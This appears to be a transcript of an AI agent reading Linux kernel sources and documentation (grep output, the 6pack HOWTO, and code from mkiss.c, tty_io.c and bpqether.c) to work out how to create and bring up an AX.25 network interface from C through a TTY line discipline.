 drivers/net/vxlan/vxlan_core.c-62-
 --
 drivers/net/vxlan/vxlan_core.c=4669=static struct net *vxlan_get_link_net(const struct net_device *dev)
 --
 drivers/net/vxlan/vxlan_core.c-4675-
 drivers/net/vxlan/vxlan_core.c:4676:static struct rtnl_link_ops vxlan_link_ops __read_mostly = {
 drivers/net/vxlan/vxlan_core.c-4677-	.kind		= "vxlan",
 --
 drivers/net/wireguard/device.c=310=static int wg_newlink(struct net_device *dev,
 --
 drivers/net/wireguard/device.c-406-
 drivers/net/wireguard/device.c:407:static struct rtnl_link_ops link_ops __read_mostly = {
 drivers/net/wireguard/device.c-408-	.kind			= KBUILD_MODNAME,
 --
 drivers/net/wireguard/netlink.c=23=static struct wg_device *lookup_interface(struct nlattr **attrs,
 --
 drivers/net/wireguard/netlink.c-37-		return ERR_PTR(-ENODEV);
 drivers/net/wireguard/netlink.c:38:	if (!dev->rtnl_link_ops || !dev->rtnl_link_ops->kind ||
 drivers/net/wireguard/netlink.c:39:	    strcmp(dev->rtnl_link_ops->kind, KBUILD_MODNAME)) {
 drivers/net/wireguard/netlink.c-40-		dev_put(dev);
 --
 drivers/net/wireless/virtual/virt_wifi.c=604=static void virt_wifi_dellink(struct net_device *dev,
 --
 drivers/net/wireless/virtual/virt_wifi.c-624-
 drivers/net/wireless/virtual/virt_wifi.c:625:static struct rtnl_link_ops virt_wifi_link_ops = {
 drivers/net/wireless/virtual/virt_wifi.c-626-	.kind		= "virt_wifi",
 --
 drivers/net/wireless/virtual/virt_wifi.c=638=static int virt_wifi_event(struct notifier_block *this, unsigned long event,
 --
 drivers/net/wireless/virtual/virt_wifi.c-656-
 drivers/net/wireless/virtual/virt_wifi.c:657:		upper_dev->rtnl_link_ops->dellink(upper_dev, &list_kill);
 drivers/net/wireless/virtual/virt_wifi.c-658-		unregister_netdevice_many(&list_kill);
 --
 drivers/net/wwan/wwan_core.c=1216=static const struct nla_policy wwan_rtnl_policy[IFLA_WWAN_MAX + 1] = {
 --
 drivers/net/wwan/wwan_core.c-1219-
 drivers/net/wwan/wwan_core.c:1220:static struct rtnl_link_ops wwan_rtnl_link_ops __read_mostly = {
 drivers/net/wwan/wwan_core.c-1221-	.kind = "wwan",
 --
 drivers/net/wwan/wwan_core.c=1232=static void wwan_create_default_link(struct wwan_device *wwandev,
 --
 drivers/net/wwan/wwan_core.c-1281-	dev = rtnl_create_link(&init_net, "wwan%d", NET_NAME_ENUM,
 drivers/net/wwan/wwan_core.c:1282:			       &wwan_rtnl_link_ops, tb, NULL);
 drivers/net/wwan/wwan_core.c-1283-	if (WARN_ON(IS_ERR(dev)))
 --
 drivers/net/wwan/wwan_core.c=1395=static int __init wwan_init(void)
 --
 drivers/net/wwan/wwan_core.c-1398-
 drivers/net/wwan/wwan_core.c:1399:	err = rtnl_link_register(&wwan_rtnl_link_ops);
 drivers/net/wwan/wwan_core.c-1400-	if (err)
 --
 drivers/net/wwan/wwan_core.c-1423-unregister:
 drivers/net/wwan/wwan_core.c:1424:	rtnl_link_unregister(&wwan_rtnl_link_ops);
 drivers/net/wwan/wwan_core.c-1425-	return err;
 --
 drivers/net/wwan/wwan_core.c=1428=static void __exit wwan_exit(void)
 --
 drivers/net/wwan/wwan_core.c-1431-	__unregister_chrdev(wwan_major, 0, WWAN_MAX_MINORS, "wwan_port");
 drivers/net/wwan/wwan_core.c:1432:	rtnl_link_unregister(&wwan_rtnl_link_ops);
 drivers/net/wwan/wwan_core.c-1433-	class_unregister(&wwan_class);
 --
 include/linux/can/dev.h=194=static inline void of_can_transceiver(struct net_device *dev) { }
 --
 include/linux/can/dev.h-196-
 include/linux/can/dev.h:197:extern struct rtnl_link_ops can_link_ops;
 include/linux/can/dev.h-198-int can_netlink_register(void);
 --
 include/linux/if_macvlan.h=68=extern void macvlan_dellink(struct net_device *dev, struct list_head *head);
 include/linux/if_macvlan.h-69-
 include/linux/if_macvlan.h:70:extern int macvlan_link_register(struct rtnl_link_ops *ops);
 include/linux/if_macvlan.h-71-
 --
 include/linux/netdevice.h=1779=enum netdev_reg_state {
 --
 include/linux/netdevice.h-2005- *	@sysfs_rx_queue_group:	Space for optional per-rx queue attributes
 include/linux/netdevice.h:2006: *	@rtnl_link_ops:	Rtnl_link_ops
 include/linux/netdevice.h-2007- *	@stat_ops:	Optional ops for queue-aware statistics
 --
 include/linux/netdevice.h=2109=struct net_device {
 --
 include/linux/netdevice.h-2422-
 include/linux/netdevice.h:2423:	const struct rtnl_link_ops *rtnl_link_ops;
 include/linux/netdevice.h-2424-
 --
 include/net/amt.h=398=static inline bool netif_is_amt(const struct net_device *dev)
 include/net/amt.h-399-{
 include/net/amt.h:400:	return dev->rtnl_link_ops && !strcmp(dev->rtnl_link_ops->kind, "amt");
 include/net/amt.h-401-}
 --
 include/net/bareudp.h=10=static inline bool netif_is_bareudp(const struct net_device *dev)
 include/net/bareudp.h-11-{
 include/net/bareudp.h:12:	return dev->rtnl_link_ops &&
 include/net/bareudp.h:13:	       !strcmp(dev->rtnl_link_ops->kind, "bareudp");
 include/net/bareudp.h-14-}
 --
 include/net/bonding.h=803=extern unsigned int bond_net_id;
 --
 include/net/bonding.h-805-/* exported from bond_netlink.c */
 include/net/bonding.h:806:extern struct rtnl_link_ops bond_link_ops;
 include/net/bonding.h-807-
 --
 include/net/geneve.h=65=static inline bool netif_is_geneve(const struct net_device *dev)
 include/net/geneve.h-66-{
 include/net/geneve.h:67:	return dev->rtnl_link_ops &&
 include/net/geneve.h:68:	       !strcmp(dev->rtnl_link_ops->kind, "geneve");
 include/net/geneve.h-69-}
 --
 include/net/gre.h=40=static inline bool netif_is_gretap(const struct net_device *dev)
 include/net/gre.h-41-{
 include/net/gre.h:42:	return dev->rtnl_link_ops &&
 include/net/gre.h:43:	       !strcmp(dev->rtnl_link_ops->kind, "gretap");
 include/net/gre.h-44-}
 --
]
]

gemini-3-flash-preview

							input: 28600
							output: 22
							thoughts: 208
						

**AX.25 Interface Creation: A Deep Dive**

Okay, so I'm looking at the Linux kernel source and I'm trying to figure out how AX.25 interfaces are created. First, I noticed that `rtnl_link_ops` isn't used in `drivers/net/hamradio/`, which means the standard `ip link add type ax25` approach isn't the method. That's a key piece of information.

My next thought leads me to revisit `drivers/net/hamradio/mkiss.c`. This is a line discipline, and the standard way to interact with it is through `kissattach`, which I know is a utility commonly found in the `ax25-utils` or `libax25` packages. That's the lightbulb moment: `kissattach` opens a serial port, sets the line discipline (using `mkiss`), and *then* the kernel magically creates the `ax%d` interface.

Therefore, if someone wants to do this programmatically in C, they need to essentially mirror what `kissattach` does. So, I need to understand its behavior thoroughly. Unfortunately, I can't directly see the source code in this environment, but I can infer its mechanics by analyzing the kernel code.

Alternatively, I could check if there's any useful documentation inside the kernel itself on AX.25 to avoid reverse-engineering from other code.

map[Dir:Documentation/networking/]

map[Files:<nil> Subdirs:[caif device_drivers devlink diagnostic dsa mac80211_hwsim net_cachelines pse-pd xfrm]]

gemini-3-flash-preview

							input: 29202
							output: 23
							thoughts: 26
						

Here's my thought process, summarized as you requested:

**Investigating a Networking Issue**

Okay, hold on a second. I just ran that `grep` and I think I saw something interesting: `Documentation/networking/6pack.rst`. Now, `6pack` is usually related to IPv6 over IPv4, so that's immediately worth a closer look. I've been seeing some odd networking behavior recently, and this might be a clue. Let's dive into that documentation and see if it sheds any light on the current situation. I need to understand the relationship of this to the current issue at hand. Time to investigate!

map[File:Documentation/networking/6pack.rst]

map[Contents:.. SPDX-License-Identifier: GPL-2.0

==============
6pack Protocol
==============

This is the 6pack-mini-HOWTO, written by

Andreas Könsgen DG3KQ

:Internet: ajk@comnets.uni-bremen.de
:AMPR-net: dg3kq@db0pra.ampr.org
:AX.25:    dg3kq@db0ach.#nrw.deu.eu

Last update: April 7, 1998

1. What is 6pack, and what are the advantages to KISS?
======================================================

6pack is a transmission protocol for data exchange between the PC and
the TNC over a serial line. It can be used as an alternative to KISS.

6pack has two major advantages:

- The PC is given full control over the radio
  channel. Special control data is exchanged between the PC and the TNC so
  that the PC knows at any time if the TNC is receiving data, if a TNC
  buffer underrun or overrun has occurred, if the PTT is
  set and so on. This control data is processed at a higher priority than
  normal data, so a data stream can be interrupted at any time to issue an
  important event. This helps to improve the channel access and timing
  algorithms as everything is computed in the PC. It would even be possible
  to experiment with something completely different from the known CSMA and
  DAMA channel access methods.
  This kind of real-time control is especially important to supply several
  TNCs that are connected between each other and the PC by a daisy chain
  (however, this feature is not supported yet by the Linux 6pack driver).

- Each packet transferred over the serial line is supplied with a checksum,
  so it is easy to detect errors due to problems on the serial line.
  Received packets that are corrupt are not passed on to the AX.25 layer.
  Damaged packets that the TNC has received from the PC are not transmitted.

More details about 6pack are described in the file 6pack.ps that is located
in the doc directory of the AX.25 utilities package.

2. Who has developed the 6pack protocol?
========================================

The 6pack protocol has been developed by Ekki Plicht DF4OR, Henning Rech
DF9IC and Gunter Jost DK7WJ. A driver for 6pack, written by Gunter Jost and
Matthias Welwarsky DG2FEF, comes along with the PC version of FlexNet.
They have also written a firmware for TNCs to perform the 6pack
protocol (see section 4 below).

3. Where can I get the latest version of 6pack for LinuX?
=========================================================

At the moment, the 6pack stuff can obtained via anonymous ftp from
db0bm.automation.fh-aachen.de. In the directory /incoming/dg3kq,
there is a file named 6pack.tgz.

4. Preparing the TNC for 6pack operation
========================================

To be able to use 6pack, a special firmware for the TNC is needed. The EPROM
of a newly bought TNC does not contain 6pack, so you will have to
program an EPROM yourself. The image file for 6pack EPROMs should be
available on any packet radio box where PC/FlexNet can be found. The name of
the file is 6pack.bin. This file is copyrighted and maintained by the FlexNet
team. It can be used under the terms of the license that comes along
with PC/FlexNet. Please do not ask me about the internals of this file as I
don't know anything about it. I used a textual description of the 6pack
protocol to program the Linux driver.

TNCs contain a 64kByte EPROM, the lower half of which is used for
the firmware/KISS. The upper half is either empty or is sometimes
programmed with software called TAPR. In the latter case, the TNC
is supplied with a DIP switch so you can easily change between the
two systems. When programming a new EPROM, one of the systems is replaced
by 6pack. It is useful to replace TAPR, as this software is rarely used
nowadays. If your TNC is not equipped with the switch mentioned above, you
can build in one yourself that switches over the highest address pin
of the EPROM between HIGH and LOW level. After having inserted the new EPROM
and switched to 6pack, apply power to the TNC for a first test. The connect
and the status LED are lit for about a second if the firmware initialises
the TNC correctly.

5. Building and installing the 6pack driver
===========================================

The driver has been tested with kernel version 2.1.90. Use with older
kernels may lead to a compilation error because the interface to a kernel
function has been changed in the 2.1.8x kernels.

How to turn on 6pack support:
-----------------------------

- In the linux kernel configuration program, select the code maturity level
  options menu and turn on the prompting for development drivers.

- Select the amateur radio support menu and turn on the serial port 6pack
  driver.

- Compile and install the kernel and the modules.

To use the driver, the kissattach program delivered with the AX.25 utilities
has to be modified.

- Do a cd to the directory that holds the kissattach sources. Edit the
  kissattach.c file. At the top, insert the following lines::

    #ifndef N_6PACK
    #define N_6PACK (N_AX25+1)
    #endif

  Then find the line:

    int disc = N_AX25;

  and replace N_AX25 by N_6PACK.

- Recompile kissattach. Rename it to spattach to avoid confusions.

Installing the driver:
----------------------

- Do an insmod 6pack. Look at your /var/log/messages file to check if the
  module has printed its initialization message.

- Do a spattach as you would launch kissattach when starting a KISS port.
  Check if the kernel prints the message '6pack: TNC found'.

- From here, everything should work as if you were setting up a KISS port.
  The only difference is that the network device that represents
  the 6pack port is called sp instead of sl or ax. So, sp0 would be the
  first 6pack port.

Although the driver has been tested on various platforms, I still declare it
ALPHA. BE CAREFUL! Sync your disks before insmoding the 6pack module
and spattaching. Watch out if your computer behaves strangely. Read section
6 of this file about known problems.

Note that the connect and status LEDs of the TNC are controlled in a
different way than they are when the TNC is used with PC/FlexNet. When using
FlexNet, the connect LED is on if there is a connection; the status LED is
on if there is data in the buffer of the PC's AX.25 engine that has to be
transmitted. Under Linux, the 6pack layer is beyond the AX.25 layer,
so the 6pack driver doesn't know anything about connects or data that
has not yet been transmitted. Therefore the LEDs are controlled
as they are in KISS mode: The connect LED is turned on if data is transferred
from the PC to the TNC over the serial line, the status LED if data is
sent to the PC.

6. Known problems
=================

When testing the driver with 2.0.3x kernels and
operating with data rates on the radio channel of 9600 Baud or higher,
the driver may, on certain systems, sometimes print the message '6pack:
bad checksum', which is due to data loss if the other station sends two
or more subsequent packets. I have been told that this is due to a problem
with the serial driver of 2.0.3x kernels. I don't know yet if the problem
still exists with 2.1.x kernels, as I have heard that the serial driver
code has been changed with 2.1.x.

When shutting down the sp interface with ifconfig, the kernel crashes if
there is still an AX.25 connection left over which an IP connection was
running, even if that IP connection is already closed. The problem does not
occur when there is a bare AX.25 connection still running. I don't know if
this is a problem of the 6pack driver or something else in the kernel.

The driver has been tested as a module, not yet as a kernel-builtin driver.

The 6pack protocol supports daisy-chaining of TNCs in a token ring, which is
connected to one serial port of the PC. This feature is not implemented
and at least at the moment I won't be able to do it because I do not have
the opportunity to build a TNC daisy-chain and test it.

Some of the comments in the source code are inaccurate. They are left from
the SLIP/KISS driver, from which the 6pack driver has been derived.
I haven't modified or removed them yet -- sorry! The code itself needs
some cleaning and optimizing. This will be done in a later release.

If you encounter a bug or if you have a question or suggestion concerning the
driver, feel free to mail me, using the addresses given at the beginning of
this file.

Have fun!

Andreas
]

gemini-3-flash-preview

							input: 31526
							output: 46
							thoughts: 311
						

**My Understanding of AX.25 Interface Creation**

Okay, so I'm digging into this `kissattach` thing. The documentation states that `kissattach` initiates a KISS port, and it specifically mentions `int disc = N_AX25;` within `kissattach.c`.  Right, so the standard approach to spin up an AX.25 interface goes like this: first, open up a serial port (or a PTY), then set the line discipline to `N_AX25`. The kernel, as a consequence, conjures an `ax%d` interface.

Hold on, I need to remember to bring the interface UP. The documentation then clarifies this part: everything else should mirror setting up a standard KISS port, except the network device is named `sp` instead of `sl` or `ax`. It also says something about shutting down the `sp` interface with `ifconfig`, so `ifconfig` (or, `ip link set ... up` if I'm using the modern tools) is the right command.

Now, I'm thinking about other ioctls that might be needed. `kissattach` probably configures the callsign as well. I did see `SIOCSIFHWADDR` in `mkiss_ioctl`, and I'm guessing that's involved.

Let me see where `N_AX25` gets handled in the kernel beyond `mkiss.c`. Wait, hang on, of course. `mkiss.c` *is* the driver for `N_AX25`, so that's where the primary logic resides.

Okay, let me revisit `drivers/net/hamradio/mkiss.c`. There it is, the driver has `ax_netdev_ops`.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_netdev_ops]

map[SourceCode: 632:	static const struct net_device_ops ax_netdev_ops = {
 633:		.ndo_open            = ax_open_dev,
 634:		.ndo_stop            = ax_close,
 635:		.ndo_start_xmit	     = ax_xmit,
 636:		.ndo_set_mac_address = ax_set_mac_address,
 637:	};
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 32405
							output: 45
							thoughts: 16
						

Okay, here's my interpretation of that thought process, from an expert's perspective:

**Initialising the Network Interface**

Right, so `ax_open_dev` – that's the key function we're calling when the interface is brought online, presumably through a command like `ifconfig` or a system startup script. That tells me a couple of things immediately. It's the designated entry point for initializing the device when it's activated, which makes perfect sense. This function likely handles the initial setup of the data structure. It'll have to initialize device-specific structures, assign resources, and probably register callbacks or handlers for incoming data. We should probably make sure that `ax_open_dev` calls a different function if the interface is already open. The implication is, of course, that the device driver is using a standard `open()`-like interface, even if the underlying device isn't a traditional file descriptor. It's the hook that gets everything running and ready to handle traffic when that interface gets assigned an IP address, or otherwise 'activated'.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_open_dev]

map[SourceCode: 559:	static int ax_open_dev(struct net_device *dev)
 560:	{
 561:		struct mkiss *ax = netdev_priv(dev);
 562:	
 563:		if (ax->tty == NULL)
 564:			return -ENODEV;
 565:	
 566:		return 0;
 567:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 32837
							output: 41
							thoughts: 621
						

**My AX.25 Interface Creation Thoughts**

Okay, so the user wants to create an AX.25 network interface in C. My initial thought is that we need to confirm the TTY is still present. Now, to answer their question methodically:

1.  First, open a TTY, probably a PTY for this.
2.  Next, set the line discipline to `N_AX25`, which from memory is 5.
3.  Then, get the interface name using `SIOCGIFNAME` on the TTY.
4.  Finally, bring the interface up with `SIOCSIFFLAGS` on a socket.

The user specifically mentioned the need for `dev->type == ARPHRD_AX25` and `dev->flags & IFF_UP`. I recall that `mkiss` sets the `dev->type` to `ARPHRD_AX25`. And, naturally, `IFF_UP` gets set when we bring the interface up.

I need to confirm the `SIOCGIFNAME` part, though. Let me quickly check the `mkiss_ioctl` code. Ah, here it is:

```c
822: case SIOCGIFNAME:
823:  err = copy_to_user((void __user *) arg, ax->dev->name,
824:  strlen(ax->dev->name) + 1) ? -EFAULT : 0;
825:  break;
```

Yes, that's it! It copies the device name to the user buffer. Good.

Just to be absolutely certain, let's verify some key values. What's the value of `N_AX25`? Right, it's 5. And `TIOCSETD` is the ioctl to set the line discipline. Memory jogging complete.

Now, let's sketch out a simple C example:

```c
int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
grantpt(fd);
unlockpt(fd);
int sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
int ldisc = N_AX25;
ioctl(sfd, TIOCSETD, &ldisc);
char ifname[IFNAMSIZ];
ioctl(sfd, SIOCGIFNAME, ifname);
// Now bring it up
int sk = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
ioctl(sk, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
ioctl(sk, SIOCSIFFLAGS, &ifr);
```

Wait, hold on... `SIOCGIFNAME` on a TTY? That feels a bit unusual. Usually that ioctl is used with `ifindex` on a socket. But, since `mkiss_ioctl` implements it... Okay, let me quickly check `tty_ioctl` to see if it passes unknown ioctls to the line discipline.

map[ContextFile:drivers/tty/tty_io.c IncludeLines:true Name:tty_ioctl]

map[SourceCode:2665:	/*
2666:	 * Split this up, as gcc can choke on it otherwise..
2667:	 */
2668:	long tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
2669:	{
2670:		struct tty_struct *tty = file_tty(file);
2671:		struct tty_struct *real_tty;
2672:		void __user *p = (void __user *)arg;
2673:		int retval;
2674:		struct tty_ldisc *ld;
2675:	
2676:		if (tty_paranoia_check(tty, file_inode(file), "tty_ioctl"))
2677:			return -EINVAL;
2678:	
2679:		real_tty = tty_pair_get_tty(tty);
2680:	
2681:		/*
2682:		 * Factor out some common prep work
2683:		 */
2684:		switch (cmd) {
2685:		case TIOCSETD:
2686:		case TIOCSBRK:
2687:		case TIOCCBRK:
2688:		case TCSBRK:
2689:		case TCSBRKP:
2690:			retval = tty_check_change(tty);
2691:			if (retval)
2692:				return retval;
2693:			if (cmd != TIOCCBRK) {
2694:				tty_wait_until_sent(tty, 0);
2695:				if (signal_pending(current))
2696:					return -EINTR;
2697:			}
2698:			break;
2699:		}
2700:	
2701:		/*
2702:		 *	Now do the stuff.
2703:		 */
2704:		switch (cmd) {
2705:		case TIOCSTI:
2706:			return tiocsti(tty, p);
2707:		case TIOCGWINSZ:
2708:			return tiocgwinsz(real_tty, p);
2709:		case TIOCSWINSZ:
2710:			return tiocswinsz(real_tty, p);
2711:		case TIOCCONS:
2712:			return real_tty != tty ? -EINVAL : tioccons(file);
2713:		case TIOCEXCL:
2714:			set_bit(TTY_EXCLUSIVE, &tty->flags);
2715:			return 0;
2716:		case TIOCNXCL:
2717:			clear_bit(TTY_EXCLUSIVE, &tty->flags);
2718:			return 0;
2719:		case TIOCGEXCL:
2720:		{
2721:			int excl = test_bit(TTY_EXCLUSIVE, &tty->flags);
2722:	
2723:			return put_user(excl, (int __user *)p);
2724:		}
2725:		case TIOCGETD:
2726:			return tiocgetd(tty, p);
2727:		case TIOCSETD:
2728:			return tiocsetd(tty, p);
2729:		case TIOCVHANGUP:
2730:			if (!capable(CAP_SYS_ADMIN))
2731:				return -EPERM;
2732:			tty_vhangup(tty);
2733:			return 0;
2734:		case TIOCGDEV:
2735:		{
2736:			unsigned int ret = new_encode_dev(tty_devnum(real_tty));
2737:	
2738:			return put_user(ret, (unsigned int __user *)p);
2739:		}
2740:		/*
2741:		 * Break handling
2742:		 */
2743:		case TIOCSBRK:	/* Turn break on, unconditionally */
2744:			if (tty->ops->break_ctl)
2745:				return tty->ops->break_ctl(tty, -1);
2746:			return 0;
2747:		case TIOCCBRK:	/* Turn break off, unconditionally */
2748:			if (tty->ops->break_ctl)
2749:				return tty->ops->break_ctl(tty, 0);
2750:			return 0;
2751:		case TCSBRK:   /* SVID version: non-zero arg --> no break */
2752:			/* non-zero arg means wait for all output data
2753:			 * to be sent (performed above) but don't send break.
2754:			 * This is used by the tcdrain() termios function.
2755:			 */
2756:			if (!arg)
2757:				return send_break(tty, 250);
2758:			return 0;
2759:		case TCSBRKP:	/* support for POSIX tcsendbreak() */
2760:			return send_break(tty, arg ? arg*100 : 250);
2761:	
2762:		case TIOCMGET:
2763:			return tty_tiocmget(tty, p);
2764:		case TIOCMSET:
2765:		case TIOCMBIC:
2766:		case TIOCMBIS:
2767:			return tty_tiocmset(tty, cmd, p);
2768:		case TIOCGICOUNT:
2769:			return tty_tiocgicount(tty, p);
2770:		case TCFLSH:
2771:			switch (arg) {
2772:			case TCIFLUSH:
2773:			case TCIOFLUSH:
2774:			/* flush tty buffer and allow ldisc to process ioctl */
2775:				tty_buffer_flush(tty, NULL);
2776:				break;
2777:			}
2778:			break;
2779:		case TIOCSSERIAL:
2780:			return tty_tiocsserial(tty, p);
2781:		case TIOCGSERIAL:
2782:			return tty_tiocgserial(tty, p);
2783:		case TIOCGPTPEER:
2784:			/* Special because the struct file is needed */
2785:			return ptm_open_peer(file, tty, (int)arg);
2786:		default:
2787:			retval = tty_jobctrl_ioctl(tty, real_tty, file, cmd, arg);
2788:			if (retval != -ENOIOCTLCMD)
2789:				return retval;
2790:		}
2791:		if (tty->ops->ioctl) {
2792:			retval = tty->ops->ioctl(tty, cmd, arg);
2793:			if (retval != -ENOIOCTLCMD)
2794:				return retval;
2795:		}
2796:		ld = tty_ldisc_ref_wait(tty);
2797:		if (!ld)
2798:			return hung_up_tty_ioctl(file, cmd, arg);
2799:		retval = -EINVAL;
2800:		if (ld->ops->ioctl) {
2801:			retval = ld->ops->ioctl(tty, cmd, arg);
2802:			if (retval == -ENOIOCTLCMD)
2803:				retval = -ENOTTY;
2804:		}
2805:		tty_ldisc_deref(ld);
2806:		return retval;
2807:	}
 SourceFile:drivers/tty/tty_io.c]

gemini-3-flash-preview

							input: 36312
							output: 47
							thoughts: 1367
						

**AX.25 Interface Creation: A Deep Dive**

Okay, so the user wants to create an AX.25 interface. Let's break this down systematically. First, I see that the `tty_ioctl` call ultimately delegates to the `ld->ops->ioctl` function of the line discipline. For `SIOCGIFNAME`, that means we're dealing with `mkiss_ioctl` in this context.

Now, `SIOCGIFNAME` is pretty standard; it's likely defined in `<sys/ioctl.h>` or `<linux/sockios.h>`.  We're definitely using it in `mkiss.c`, so that's good. The user is likely thinking of setting up an AX.25 interface using a PTY. If that's the case, we know they'll need to keep the master side of the PTY open, and it's the slave side where the line discipline gets configured.

Generally, `kissattach` usually expects a serial device, so to create a virtual one, a PTY is the way to go. Let's check some of the crucial requirements. The user will be looking for `dev->type == ARPHRD_AX25`, and that's exactly what `mkiss` sets. They'll also want `dev->flags & IFF_UP`, which gets set by `SIOCSIFFLAGS`.

Are there any other drivers we should be aware of? Well, `6pack` also sets `ARPHRD_AX25` but uses line discipline `N_6PACK` (7), and `bpqether` creates an AX.25 interface automatically. However, `mkiss` is the most common for KISS TNCs.

Now, let's look at any additional `ioctls` that are needed for AX.25 interfaces. AX.25 interfaces will usually require a callsign, and `mkiss` sets a default one "LINUX-1". If the user wants to change that, they can use `SIOCSIFHWADDR`, either on the TTY file descriptor (as we see in `mkiss_ioctl`) or on a socket.  Interestingly, `ax_set_mac_address` is also implemented in `mkiss.c` like so:

```c
 636:		.ndo_set_mac_address = ax_set_mac_address,
```

```c
 618:	static int ax_set_mac_address(struct net_device *dev, void *addr)
 619:	{
 620:		struct sockaddr *sa = addr;
 621:	
 622:		if (netif_running(dev))
 623:			return -EBUSY;
 624:	
 625:		__dev_addr_set(dev, sa->sa_data, dev->addr_len);
 626:	
 627:		return 0;
 628:	}
```

So, this can be done on a socket, but only when the interface is DOWN.  However, `mkiss_ioctl` *also* has `SIOCSIFHWADDR` like so:

```c
 846:		case SIOCSIFHWADDR: {
 ...
 855:			netif_tx_lock_bh(dev);
 856:			__dev_addr_set(dev, addr, AX25_ADDR_LEN);
 857:			netif_tx_unlock_bh(dev);
```
and this version doesn't check `netif_running(dev)`.

So, the step-by-step process is:

1.  Open the TTY.
2.  Set the line discipline to `N_AX25`.
3.  (Optional) Set the callsign via `SIOCSIFHWADDR` on the TTY.
4.  Get the interface name via `SIOCGIFNAME` on the TTY.
5.  Bring the interface UP via `SIOCSIFFLAGS` on a socket.

A crucial thing to verify is that `N_AX25` is always available. It's in `drivers/net/hamradio/mkiss.c`. It might be a module, so the program may need to load the module, or it might be auto-loaded when setting the line discipline. Fortunately, the kernel will auto-load line disciplines if `MODULE_ALIAS_LDISC(N_AX25)` is present, and it is!

What about other ways of creating AX.

map[ContextFile:drivers/net/hamradio/bpqether.c IncludeLines:true Name:bpq_new_device]

map[SourceCode: 461:	/*
 462:	 *	Setup a new device.
 463:	 */
 464:	static int bpq_new_device(struct net_device *edev)
 465:	{
 466:		int err;
 467:		struct net_device *ndev;
 468:		struct bpqdev *bpq;
 469:	
 470:		ndev = alloc_netdev(sizeof(struct bpqdev), "bpq%d", NET_NAME_UNKNOWN,
 471:				    bpq_setup);
 472:		if (!ndev)
 473:			return -ENOMEM;
 474:	
 475:			
 476:		bpq = netdev_priv(ndev);
 477:		dev_hold(edev);
 478:		bpq->ethdev = edev;
 479:		bpq->axdev = ndev;
 480:	
 481:		eth_broadcast_addr(bpq->dest_addr);
 482:		eth_broadcast_addr(bpq->acpt_addr);
 483:	
 484:		err = register_netdevice(ndev);
 485:		if (err)
 486:			goto error;
 487:	
 488:		/* List protected by RTNL */
 489:		list_add_rcu(&bpq->bpq_list, &bpq_devices);
 490:		return 0;
 491:	
 492:	 error:
 493:		dev_put(edev);
 494:		free_netdev(ndev);
 495:		return err;
 496:		
 497:	}
 SourceFile:drivers/net/hamradio/bpqether.c]

gemini-3-flash-preview

							input: 39268
							output: 51
							thoughts: 213
						

**Analyzing the AX.25 Device Creation Logic**

Okay, so I'm looking at this `bpq_setup` function, and it's assigning `ARPHRD_AX25` to the `dev->type`. Makes sense, that's expected. But then I'm seeing this `bpqether` module, and it *seems* to be creating these AX.25 devices for Ethernet devices, which immediately raises a flag. Is this happening for *every* Ethernet interface that comes online? That could lead to an explosion of virtual interfaces.

Then I checked `bpq_device_event`, and I see:

```c
 520:		if (!dev_is_ethdev(dev) && !bpq_get_ax25_dev(dev))
 521:			return NOTIFY_DONE;
```

It seems like it *might* be attempting to create one for every Ethernet device that goes up, but the check for `dev_is_ethdev` suggests that it's *not* for every device.

I'm starting to think that when `eth0` goes UP, `bpq_new_device` gets called. This would trigger the creation of a corresponding `bpq0` device for `eth0`. But is that it? Thankfully, there's `bpq_get_ax25_dev`. Let me verify this logic... let me check `bpq_get_ax25_dev`. I need to confirm if it's handling the potential for duplicate creation properly.

map[ContextFile:drivers/net/hamradio/bpqether.c IncludeLines:true Name:bpq_get_ax25_dev]

map[SourceCode: 124:	/*
 125:	 *	Get the BPQ device for the ethernet device
 126:	 */
 127:	static inline struct net_device *bpq_get_ax25_dev(struct net_device *dev)
 128:	{
 129:		struct bpqdev *bpq;
 130:	
 131:		list_for_each_entry_rcu(bpq, &bpq_devices, bpq_list,
 132:					lockdep_rtnl_is_held()) {
 133:			if (bpq->ethdev == dev)
 134:				return bpq->axdev;
 135:		}
 136:		return NULL;
 137:	}
 SourceFile:drivers/net/hamradio/bpqether.c]

gemini-3-flash-preview

							input: 40107
							output: 20
							thoughts: 366
						

**My Analysis of AX.25 Interface Creation**

Okay, so the user's mention of `bpqether`... that module seems to automatically generate a `bpq%d` interface for each Ethernet device when loaded. But frankly, if they're trying to control this interface programmatically from their own C code, `bpqether` is almost certainly the wrong approach.

The TTY method is *far* more standard and predictable for dynamically creating interfaces like this. It's the go-to technique.

My next thought is to investigate if other line disciplines can achieve an AX.25 interface. Let's see... `6pack` (line discipline 7) and `mkiss` (line discipline 5). Ah, they both appear relevant. In fact, `mkiss` is the one everyone knows, the "classic" implementation.

Now, a critical detail... I need to refresh my memory on how this interface name discovery works within the TTY context, in particular using `SIOCGIFNAME` on the TTY file descriptor. Is it the standard `SIOCGIFNAME` or something specific to the line discipline? I'll need to double check the code... Right, in `mkiss.c`, I'm seeing:

```c
 822:		case SIOCGIFNAME:
 823:			err = copy_to_user((void __user *) arg, ax->dev->name,
 824:			                   strlen(ax->dev->name) + 1) ? -EFAULT : 0;
```

This confirms my suspicion... `arg` is a pointer to a user-space buffer where it writes the interface name. Now, the standard `SIOCGIFNAME` expects a `struct ifreq` and looks up the name using `ifr_ifindex`, but because this is a TTY ioctl, it knows the specific `mkiss` instance. It can directly write the name.

However, let me quickly confirm the actual value for `SIOCGIFNAME`, since it's typically `0x8910`, let me cross-reference the relevant header file. I'll check `include/uapi/linux/sockios.h` for that.

map[Expression:#define SIOCGIFNAME]

map[Output:include/uapi/linux/sockios.h-56-/* Socket configuration controls. */
include/uapi/linux/sockios.h:57:#define SIOCGIFNAME	0x8910		/* get iface name		*/
include/uapi/linux/sockios.h-58-#define SIOCSIFLINK	0x8911		/* set iface channel		*/
]

gemini-3-flash-preview

							input: 41080
							output: 41
							thoughts: 1133
						

**AX.25 Interface Creation: A Thought Process**

